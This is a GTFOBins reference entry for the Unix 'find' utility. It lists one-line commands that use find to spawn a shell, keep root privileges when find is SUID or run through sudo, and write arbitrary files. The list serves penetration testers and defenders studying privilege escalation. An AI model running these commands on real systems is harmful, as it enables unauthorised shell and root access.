GTFOBins.github.io/_gtfobins/find.md
2024-05-14 12:26:57 -03:00

15 lines
357 B
Markdown

---
functions:
shell:
- code: find . -exec /bin/sh \; -quit
suid:
- code: ./find . -exec /bin/sh -p \; -quit
sudo:
- code: sudo find . -exec /bin/sh \; -quit
file-write:
- description: DATA is a format string, it supports some escape sequences.
code: |
FILE=file_to_write
find / -fprintf "$FILE" DATA -quit
---